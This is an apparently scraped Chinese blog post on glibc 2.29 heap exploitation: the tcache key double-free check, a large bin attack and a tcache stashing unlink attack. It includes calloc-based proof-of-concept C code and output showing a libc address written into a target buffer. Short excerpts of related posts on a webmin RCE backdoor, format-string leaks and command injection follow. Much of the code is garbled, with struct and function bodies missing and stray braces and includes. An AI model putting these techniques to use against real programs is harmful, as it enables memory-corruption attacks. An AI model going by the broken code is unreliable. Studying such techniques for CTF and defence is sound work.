部落格位址
還是在csdn裡訪問方便點。
在libc2.27中,由於對tcache
缺少充分的檢查,導致double frees
橫行,在libc2.29中對tcache
新增了一些東西。
malloc.c->2904行
typedef struct tcache_entry
tcache_entry;
如原始碼,tcache
結構體新增了乙個key
欄位來防止double frees
在free函式中,
malloc.c->4189行
#if use_tcache
if (tcache->counts[tc_idx] < mp_.tcache_count)}}
1.free乙個chunk
2.能夠修改已經free的chunk的key值
實現了chunk重疊
在libc.2.29中對於unsortbin
的解鏈新增了驗證鏈完整性的檢查,讓unsortbin attack
直接涼透透了。
將vistim插入large中時,發生漏洞,
#include #include size_t buf[0x10];
int main()
結果:
starssgo@ubuntu:~/ctf_study/large_bin_attack$ ./mode
buf[4]:0x0
buf[4]:0x555a004a66b0
1.largebin中的chunk->fd_nextsize=0;
2.largebin中的chunk->bk_nextsize可控制;
3.unsortedbin裡的chunk大於largebin,並且如果進入largebin,是同乙個index。
1.smallbin
中可以控制大小為size塊的bk指標
2.tcache
中size塊的個數為6
3.申請堆塊是calloc
結果
bk指標的fd處被寫入乙個libc位址
參考
#if use_tcache //如果程式啟用了tcache
/* while we're here, if we see other chunks of the same size,
stash them in the tcache. */
//遍歷整個smallbin,獲取相同size的free chunk
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)}}
#endif
#include #include size_t buf[0x10];
int main()
ptr=calloc(0x400,sizeof(char));//填滿0x400 size 的 tcache
calloc(0x10,sizeof(char));
ptr2=calloc(0x400,sizeof(char));
free(ptr);
ptr=calloc(0x400,sizeof(char));
calloc(0x10,sizeof(char));
free(ptr);
calloc(0x300,sizeof(char));
calloc(0x300,sizeof(char));//ptr[96]指向的chunk進入smallbin
sleep(0);
free(ptr2);
calloc(0x300,sizeof(char));
calloc(0x300,sizeof(char)); //ptr2[96]指向的chunk進入smallbin
ptr2[99]=&buf[0];// 更改chunk的bk為buf
printf("buf[2]=>0x%llx\n",buf[2]);
calloc(0xf8,sizeof(char)); //申請,觸發unlink
printf("buf[2]=>0x%llx\n",buf[2]);//buf->fd=乙個libc位址
sleep(0);
return 0;
}
測試結果starssgo@ubuntu:~/ctf_study/tcache_stashing_unlink_attack$ ./mode
buf[2]=>0x0
buf[2]=>0x7fc97b6d1d90
無意間發現的large bin attack
在libc.2.30裡已經失效,但是tcache stashing unlink attack
還可以用,所以這個洞對於使用calloc
來申請記憶體的程式是乙個挺大的威脅,本應該更加安全的做法卻讓程式變得更加危險,所以這個洞雖然使用條件很苛刻,但卻不容忽視。 webmin RCE漏洞利用及分析
webmin是目前功能最強大的基於web的unix系統管理工具。管理員通過瀏覽器訪問webmin的各種管理功能並完成相應的管理動作。利用條件 webmin 1.910 原因 官網 sourceforge 中存在漏洞,github 中無漏洞,為後門植入,不得不佩服這些老外真會玩,看了一堆大神分析,自己...
格式化漏洞利用原理
在printf 函式正常使用中,printf s printf s s 都能夠輸出s字串的值,但如果在s字串中存在 計算機無法判斷是否為引數,所以可以在printf s 中s填入帶有 的符號,能達到洩漏位址的作用。一般我們想要洩漏棧上多個位址,往往可以採用輸出多個 x來達到。如果想直接獲得某個位址,...
命令執行漏洞介紹及利用
目錄 命令執行漏洞原理 產生原理 php下命令執行函式 命令執行漏洞 分析 例項演示 獲取網絡卡資訊 命令執行漏洞利用思路 命令執行漏洞拼接符介紹 命令執行示例 分析 例項演示 拼接符使用 web應用程式接受使用者輸入,拼接到要執行的系統命令中執行 1.使用者輸入未過濾或淨化 2.拼接到系統命令中執...